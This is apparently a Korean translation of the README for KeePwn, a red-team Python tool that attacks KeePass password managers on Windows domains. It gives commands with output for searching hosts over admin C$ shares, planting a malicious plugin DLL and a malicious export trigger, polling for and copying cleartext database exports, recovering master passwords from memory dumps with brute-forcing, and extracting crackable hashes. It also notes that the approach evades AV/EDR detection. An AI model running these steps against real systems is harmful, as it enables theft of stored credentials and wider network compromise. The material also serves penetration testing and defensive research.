
KeePass 발견 및 비밀 추출을 자동화하는 Python 도구

레드팀이 KeePass 인스턴스를 발견하고 비밀을 추출하는 데 도움이 되는 파이썬 스크립트입니다.
git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m pip install .
KeePwn --help
또는 virtualenv에서 설치하지 않고 실행하려면:
git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
python3 KeePwn.py --help
KeePwn의 search 모듈은 대상 환경에서 KeePass를 실행하는 호스트를 식별하는 데 사용됩니다:
$ python3 KeePwn.py search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt
[*] Starting remote KeePass search with 5 threads
[PC01.COMPANY.LOCAL] No KeePass-related file found
[PC02.COMPANY.LOCAL] No KeePass-related file found
[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC04.COMPANY.LOCAL] No KeePass-related file found
[PC05.COMPANY.LOCAL] No KeePass-related file found
Active Directory 내장 C$ 공유를 사용하여 기본 위치에서 KeePass 관련 파일을 찾으므로 대상에 대한 관리자 권한이 필요합니다.
모듈은 먼저 각 사용자의 %APPDATA%\KeePass 폴더에서 KeePass.config.xml 구성 파일과 기본 설치 경로(C:\Program Files\KeePass Password Safe 2)에서 KeePass.exe를 찾습니다. 구성 파일이 발견되었지만 KeePass가 전역적으로 설치되지 않은 경우 KeePwn은 --max-depth 하위 폴더까지 휴대용 설치를 검색합니다.
이 기본 검색 기술은 워크스테이션에서 KeePass가 사용되는지 여부를 정확히 판단하기에 충분합니다. 또한 --get-process 옵션은 Impacket의 RPC 구현을 사용하여 대상에서 KeePass가 현재 실행 중인지 확인합니다.
검색 결과를 CSV 파일로 내보내거나, KeePass가 발견된 대상만 표시하거나, 병렬 스레드 수를 조정할 수 있는 다양한 편의 옵션이 포함되어 있습니다:
$ KeePwn search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt --threads 4 --get-process --found-only --output keepwn_out.csv
[*] Starting remote KeePass search with 4 threads
[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC03.COMPANY.LOCAL] Found running KeePass.exe process (User: COMPANY\jdoe, PID: 3820)
[+] Search results logged to keepwn_out.csv
KeePass는 플러그인 프레임워크를 제공하며, 이를 악용하여 악성 DLL을 KeePass 프로세스에 로드할 수 있습니다. 관리자 권한을 가진 공격자는 이를 통해 데이터베이스를 쉽게 내보낼 수 있습니다 (KeeFarceRebornPlugin 참조).
KeePwn의 plugin 모듈을 사용하면:
현재 설치된 플러그인을 나열하고 플러그인 캐시를 열거할 수 있습니다
$ KeePwn plugin check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] No path specified, searching in default locations..
[*] Found dbBackup.plgx in folder '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
[*] Found pDhkzWQYiobXhtBEEnbo in folder '\\C$\Users\jdoe\AppData\Local\KeePass\PluginCache'
악성 플러그인을 추가 및 제거할 수 있습니다
$ KeePwn plugin add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL --plugin KeeFarceRebornPlugin.dll
[*] No path specified, searching in default locations..
[*] Found KeePass Plugins directory '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
[!] About to add KeeFarceRebornPlugin.dll to KeePass Plugins directory, do you want to continue? [y/n]
> y
[+] Plugin successfully added to KeePass, wait for next restart, poll and enjoy!
%APPDATA%에서 내보내기를 폴링하고 원격 호스트에서 로컬 파일 시스템으로 자동 이동할 수 있습니다
$ KeePwn plugin poll -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] Polling for database export every 5 seconds.. press CTRL+C to abort. DONE
[+] Found cleartext export '\\C$\\Users\jdoe\AppData\Roaming\export.xml'
[+] Moved remote export to ./export.xml
@harmj0y의 블로그 포스트 (이후 CVE-2023-24055)에 설명된 대로, KeePass 트리거 시스템을 악용하여 데이터베이스를 일반 텍스트로 내보낼 수 있습니다.
KeePwn의 trigger 모듈을 사용하면:
"export"라는 악성 트리거가 KeePass 구성에 현재 기록되어 있는지 확인할 수 있습니다
$ KeePwn trigger check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] No KeePass configuration path specified, searching in default locations..
[*] Found global KeePass configuration '\\C$\Program Files\KeePass Password Safe 2\KeePass.config.xml'
[*] PreferUserConfiguration flag is set to true, meaning that local configuration is used
[*] Found local KeePass configuration '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[+] No trigger found in KeePass configuration
KeePwn은 감지된 KeePass 버전이 이 기술의 영향을 받지 않는 경우 플러그인 악용을 방지합니다.
"export"라는 악성 트리거를 추가 및 제거합니다. 이 트리거는 다음 KeePass 실행 시 %APPDATA%에 데이터베이스의 일반 텍스트 내보내기를 수행합니다.
❯ python3 KeePwn.py trigger add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] No KeePass configuration path specified, searching in default locations..
[*] Found global KeePass configuration '\\C$\Program Files\KeePass Password Safe 2\KeePass.config.xml'
[*] PreferUserConfiguration flag is set to true, meaning that local configuration is used
[*] Found local KeePass configuration '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[+] Malicious trigger 'export' successfully added to KeePass configuration file (it may be deleted if KeePass is already running)
@vdohney가 설명한 바와 같이, 메모리에서 데이터베이스의 마스터 비밀번호를 검색할 수 있습니다 (KeePass 2.54 이전 버전에 영향을 미치는 CVE-2023-32784).
KeePwn의 parse_dump 모듈은 덤프에서 잠재적인 마스터 비밀번호 후보를 검색합니다. 결과 문자열은 (설계상) 불완전하므로, 지정된 KDBX 파일에 대해 누락된 첫 문자를 무차별 대입하는 데 모듈을 사용할 수도 있습니다.
$ python3 KeePwn.py parse_dump -d ./KeePass.DMP --bruteforce Database.kdbx
[*] Searching for the master password in memory dump.. done!
[*] Found 15 candidates:
_@$$w0rd!!
_Ï$$w0rd!!
_§$$w0rd!!
_ñ$$w0rd!!
_D$$w0rd!!
_$$w0rd!!
_\$$w0rd!!
_#$$w0rd!!
_y$$w0rd!!
_k$$w0rd!!
_9$$w0rd!!
_;$$w0rd!!
_H$$w0rd!!
_>$$w0rd!!
_a$$w0rd!!
[*] Bruteforcing missing symbol with the 254 most common unicode characters.. done!
[+] Database.kdbx successfully unlocked using master password P@$$w0rd!!
메모리 덤프 파싱은 @CMEPW의 Python PoC를 사용합니다. 코드를 재사용할 수 있게 해준 점 감사합니다 :)
@harmjoy의 keepass2john.py 스크립트가 @0xSp3ctra의 도움으로 KeePwn으로 포팅되었습니다.
KeePwn convert는 KeePass 데이터베이스에서 크래킹 가능한 해시(john 또는 hashcat 형식)를 추출합니다.
KeePwn convert -d ./Database.kdbx
[+] Happy cracking! (hashcat -m 13400)
$keepass$*2*60000*222*b794eae002aff2a55a307bedeadebee210ee3c3596731f5acf2a1ff3add7d5af*7f19293f120717cbb88cdd27a3d4b9cb58316c61c625ca3a39f94c5a96b6135b*c004b3bc403730ce1bba15d5feda18e2*55a142d52798313c336c9442d824d7098ded3c5e161b76640100c99ec1cd95e1*60bb1f64c2bfff8a4e1eb43c533054f2f5c46fac19a867e7f80a1a71d6b68f17
예상 해시 유형과 출력 파일 경로를 지정하는 추가 인수와 함께 사용할 수 있습니다:
KeePwn convert -d ./Database.kdbx -t john -o ./Database.hash
[+] Hash written to ./Database.hash, happy cracking! (john --format=keepass)
KDBX 4.x는 아직 지원되지 않습니다. https://github.com/r3nt0n/keepass4brute 을 사용할 수 있습니다. PR을 보낼 기분이 있다면 https://palant.info/2023/03/29/documenting-keepass-kdbx4-file-format 을 읽어보시는 것을 추천드립니다 :)
풀 리퀘스트를 환영합니다 (미완료 기능 및 코드 내 TODO 참조).
개선 제안이 있으면 이슈를 열거나 Twitter에서 DM을 보내주세요.
이러한 작업은 SMB C$ 공유 액세스를 통해 수행되므로 명령 실행이 없어 AV/EDR 탐지를 제한합니다.
%APPDATA%에서 내보내기를 폴링하고 원격 호스트에서 로컬 파일 시스템으로 자동 이동할 수 있습니다
$ KeePwn trigger poll -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] Polling for database export every 5 seconds.. press CTRL+C to abort. DONE
[+] Found cleartext export '\\C$\\Users\jdoe\AppData\Roaming\export.xml'
[+] Moved remote export to ./export.xml
구성 파일 경로가 기본 위치가 아닌 경우 --config-path 인수로 지정할 수 있습니다.